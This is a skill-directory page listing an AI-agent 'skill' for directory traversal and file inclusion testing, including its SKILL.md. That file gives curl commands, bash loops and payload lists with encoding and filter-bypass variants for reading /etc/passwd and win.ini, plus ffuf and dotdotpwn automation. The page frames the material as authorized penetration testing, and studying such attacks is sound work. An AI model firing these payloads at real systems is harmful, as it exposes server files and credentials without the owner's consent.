performing-directory-traversal-testing
Teaches your AI agent to test code and catch bugs before users do and protect apps against attacks.
What it does
This tool helps test websites for security flaws that allow access to unintended files. It tries to 'trick' the website into revealing system files or files from other users.
When to use it
- ✓When you have permission to test a website's security.
- ✓When checking if a website securely allows file downloads or views.
- ✓When you suspect the website might expose sensitive information.
Example of what to ask your AI
“Check if the website lets me view the /etc/passwd file using a link like this: [website link]?file=../../../etc/passwd”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool tries different ways to 'escape' the expected directory, using sequences like '../' or special encodings. It also uses automated programs to test many combinations quickly.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-directory-traversal-testingOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-directory-traversal-testing/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Performing Directory Traversal Testing
When to Use
- During authorized penetration tests when the application handles file paths in URL parameters or request bodies
- When testing file download, file view, or file include functionality
- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities
- When evaluating template engines, logging systems, or report generators that reference files
- During security assessments of APIs that accept file names or paths as parameters
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: For intercepting and modifying file path parameters
- ffuf: For fuzzing file path parameters with traversal payloads
- dotdotpwn: Automated directory traversal fuzzer (
apt install dotdotpwn) - SecLists: Traversal payload wordlists from Daniel Miessler's collection
- curl: For manual testing of traversal payloads
Workflow
Step 1: Identify File Path Parameters
Find application endpoints that reference files through parameters.
# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default
# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename
# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"
# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"
Step 2: Test Basic Directory Traversal Payloads
Attempt to escape the intended directory and read sensitive files.
# Linux traversal payloads
PAYLOADS=(
"../../../etc/passwd"
"../../../../etc/passwd"
"../../../../../etc/passwd"
"../../../../../../etc/passwd"
"../../../../../../../etc/passwd"
"..%2f..%2f..%2fetc%2fpasswd"
"..%252f..%252f..%252fetc%252fpasswd"
"%2e%2e/%2e%2e/%2e%2e/etc/passwd"
"....//....//....//etc/passwd"
"..;/..;/..;/etc/passwd"
)
for payload in "${PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
response=$(curl -s "https://target.example.com/download?file=$payload")
if echo "$response" | grep -q "root:"; then
echo "VULNERABLE"
else
echo "Blocked"
fi
done
# Windows traversal payloads
WIN_PAYLOADS=(
"..\..\..\windows\win.ini"
"..%5c..%5c..%5cwindows%5cwin.ini"
"..\/..\/..\/windows/win.ini"
"....\\....\\....\\windows\\win.ini"
)
for payload in "${WIN_PAYLOADS[@]}"; do
echo -n "Testing: $payload -> "
curl -s "https://target.example.com/download?file=$payload" | head -c 100
echo
done
Step 3: Apply Encoding and Filter Bypass Techniques
Use various encoding schemes to bypass input validation filters.
# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"
# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"
# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"
# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"
# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"
Step 4: Automate with ffuf and dotdotpwn
Use automated tools for comprehensive traversal testing.
# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-fs 0 \
…
FAQ
What is 'path traversal'?
It's a security vulnerability where an attacker can access files outside the intended directory on the web server, using paths like '../'.
What are LFI and RFI?
LFI (Local File Inclusion) is when an attacker can include and read files from the server itself. RFI (Remote File Inclusion) is when an attacker can include and execute files from an external server.
Do I need permission to use this tool?
Yes, it is crucial to have explicit written authorization before testing any system. Unauthorized testing is illegal.
Details
Original description by the author
Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that acc
Popularity
- GitHub stars
- 35k
- Ranking position
- #6054
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
More skills from this repository
abusing-dpapi-for-credential-access
Gives your AI agent ready-made instructions for a specific task, so it does it better and faster.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Teaches your AI agent to write clear, well-structured text.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Helps your agent prepare an environment for CMMC Level 2 compliance. It implements security requirements and manages necessary documentation.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Helps your agent create exact copies of hard drives. This is useful for ensuring no information is lost or altered during investigations.
mukul975/Anthropic-Cybersecurity-Skills
Similar skills
cpp-testing
Makes your agent write and improve tests for C++ code. It helps set up testing tools and fix errors.
affaan-m/ECC
csharp-testing
Helps your agent create tests for C# and .NET code. It uses best practices to ensure tests are efficient and reliable.
affaan-m/ECC
django-tdd
Enables your agent to apply testing strategies for Django with pytest-django and TDD. It's useful for writing robust tests and ensuring code quality, especially for DRF APIs.
affaan-m/ECC